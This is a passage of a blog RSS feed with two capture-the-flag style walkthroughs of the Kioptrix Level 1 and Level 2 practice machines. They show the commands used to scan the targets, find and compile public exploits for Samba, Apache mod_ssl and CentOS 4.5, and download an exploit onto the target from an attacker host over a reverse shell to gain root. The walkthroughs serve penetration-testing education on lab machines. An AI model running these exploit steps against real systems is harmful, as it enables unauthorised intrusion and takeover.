src="https://cdn-images-1.medium.com/max/866/1*6CQwvogDnh77rlIrLBun_Q.png" /><figcaption>We have <strong>CentOS </strong>4.5</figcaption></figure><pre>bash-3.00$ lsb_release -a</pre><h3>2.Searching for Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50t_IU93liGIi6dawx7EPw.png" /></figure><pre>└─$ searchsploit CentOS 4.5 </pre><h4>Locate “ linux_x86/local/9542.c ”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2S_B-bqPZvzjmMobH9A4sw.png" /></figure><h3>2.1 Compiling the Exploit</h3><pre>└─$ cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c ./</pre><h4>Send 9542.c to the Target Machine using python Http Server</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*QiB5--tpyLP2PZ_xFWdpXw.png" /></figure><pre>└─$ python3 -m http.server</pre><h4>Send the file 9542.c to the Host machine:</h4><p>on the Reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*be3IUclLnFg4NAY09WHdxw.png" /></figure><pre>bash-3.00$ cd/tmp/<br>bash-3.00$ wget http://192.168.118.140:8000/9542.c</pre><h4>Compile The file 9542.c</h4><pre>bash-3.00$ gcc 9542.c -o exploit<br>bash-3.00$ ./exploit </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*TlfhNT4_PFdZaYynlJRR7w.png" /></figure><h3>Bingo!!</h3><h3>Conclusion:</h3><h4>We gained root on Kioptrix Level 2 by exploiting an <strong>SQL injection</strong> to get a shell, then escalating privileges using a <strong>CentOS 4.5 local exploit</strong>. This challenge reinforced key skills in <strong>web exploitation, reverse shells, and privilege escalation</strong>, while showing the risks of outdated systems and poor input validation.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65a6d36afdb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix Level 1 — Walkthrough]]></title>
            <link>https://medium.com/@ahmedadel01159/kioptrix-level-1-walkthrough-b344689d8161?source=rss-348f0901da1f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b344689d8161</guid>
            <dc:creator><![CDATA[Hysteria]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 21:35:37 GMT</pubDate>
            <atom:updated>2025-09-09T21:35:37.352Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kioptrix Level 1 — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*7ZeM8XeObaKBmn-A.png" /></figure><h3>Kioptrix Level 1 is part of the <strong>Kioptrix vulnerable machines series</strong>, designed to teach penetration testing fundamentals.<br> The goal: <strong>Gain root access</strong> on the machine.</h3><blockquote>“Note” Make sure that your machines on NAT network</blockquote><p>Target IP (in my lab): 192.168.118.141</p><h3>1. Enumeration</h3><h3>1.1 Discovering the Target</h3><pre>└─$ sudo netdiscover -r 192.168.118.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*2CFhpkv3SjGy8XKKaaJrsg.png" /><figcaption><strong>the Host’s ip is 192.168.118.141</strong></figcaption></figure><h3>1.2 Port Scanning with Nmap</h3><pre>└─$ nmap  -sV  -T4 192.168.118.141</pre><p>I used -sV to know the version of every open port</p><p><strong>Results</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*m-g4ofdwY7I_vrr4bvsnmQ.png" /></figure><h3>2.Web Enumeration</h3><h4>2.1 Nikto scan</h4><pre>└─$ nikto -h 192.168.118.141</pre><p>Findings:</p><ul><li>/phpMyAdmin/ → exposed</li><li>/test.php and /phppgadmin/ → exist</li><li>Server vulnerable to old PHP issues</li></ul><h4>Although interesting, the <strong>web attack surface is a rabbit hole</strong>. The better path is Samba.</h4><h3>3. Identifying Samba Version</h3><h4>3.1 using Metasploit to know the version of Samba</h4><p>open Metasploit</p><h4>msfconsole -q “ for quite mode “</h4><h4>Search for samba scanner version</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-PnvRmeSAgPIE_5SNFKvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pasLqGQq8dMDCSHjIxkUJw.png" /></figure><p>set RHOST &lt;Target ip&gt;</p><p>then run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EG3Nw0BSXPcxAN8jiIMO_Q.png" /></figure><h4>the version of Samba is (Samba 2.2.1a)</h4><h3>4.Exploitation</h3><h4>4.1 Searching for Exploit</h4><pre>└─$ searchsploit Samba 2.2.1a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ywe6z4pwSRICD-_4zg99Ew.png" /><figcaption>we have 2 ways</figcaption></figure><ol><li>Samba 2.2.0 &lt; 2.2.8 (OSX) — trans2open Overflow (Metasploit)</li><li>Samba &lt; 2.2.8 (Linux/BSD) — Remote Code Execution</li></ol><h4>let’s use trans2open</h4><h4>open MSF console and search for trans2open type: exploit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJZ4S3slXiFcydWlY3aALg.png" /></figure><h4>use 1 for linux samba</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbwR2X42oD8uO9h5zk5bwg.png" /><figcaption>set RHOST and Set Payload (linux/x86/shell/reverse_tcp) and run or exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FR3adWNWI_pkJcI9rZbj5g.png" /></figure><p>Got a <strong>remote shell</strong>.!</p><p>now Let’s try the 2nd method using:</p><h4>Samba &lt; 2.2.8 (Linux/BSD) — Remote Code Execution</h4><h4>Locate the “multiple/remote/10.c”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*r9E3LQZG4dOri_n3YI1yKw.png" /></figure><h3>4.2 Compiling the Exploit</h3><pre>└─$ cp /usr/share/exploitdb/exploits/multiple/remote/10.c ./<br>└─$ gcc 10.c -o exploit</pre><h4>4.3 Running the Exploit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*oblP3e3Rz5EKwOOkYOYCcA.png" /></figure><h4>Another root reverse shell !.</h4><h3>5.Exploit Apache mod_ssl:</h3><h4>5.1 Searchsploit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GsOHCl44EIH8Yz3-vyZzQ.png" /></figure><ul><li><strong>Exploit:</strong> unix/remote/47080.c (OpenFuckV2.c)</li><li><strong>Target:</strong> Apache &lt; 2.8.7</li></ul><h4>locate “ unix/remote/47080.c “</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKuf6wBr7HwDTjGTfXOFQA.png" /></figure><h4>5.2 Compiling the Exploit</h4><pre>└─$ cp /usr/share/exploitdb/exploits/unix/remote/47080.c OpenFuckV2.c<br>└─$ gcc OpenFuckV2.c -o OpenFuckV2 -lssl -lcrypto</pre><h4>5.3 Running the Exploit</h4><pre>└─$ ./OpenFuckV2 0x6b 192.168.118.141 443 -c 50</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*Vxf-sRnytReDFaUfY9RfVg.png" /></figure><blockquote>Successfully gained remote access to the server</blockquote><h3>Conclusion:</h3><h4>I successfully obtained Root access to The Machine using multiple Techniques:</h4><ol><li>Samba “trans2open” exploit via Metasploit with a compatible reverse shell payload.</li><li>Manual C exploit (10.c) for Samba RCE.</li><li>Apache mod_ssl buffer overflow (OpenFuckV2.c).</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b344689d8161" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>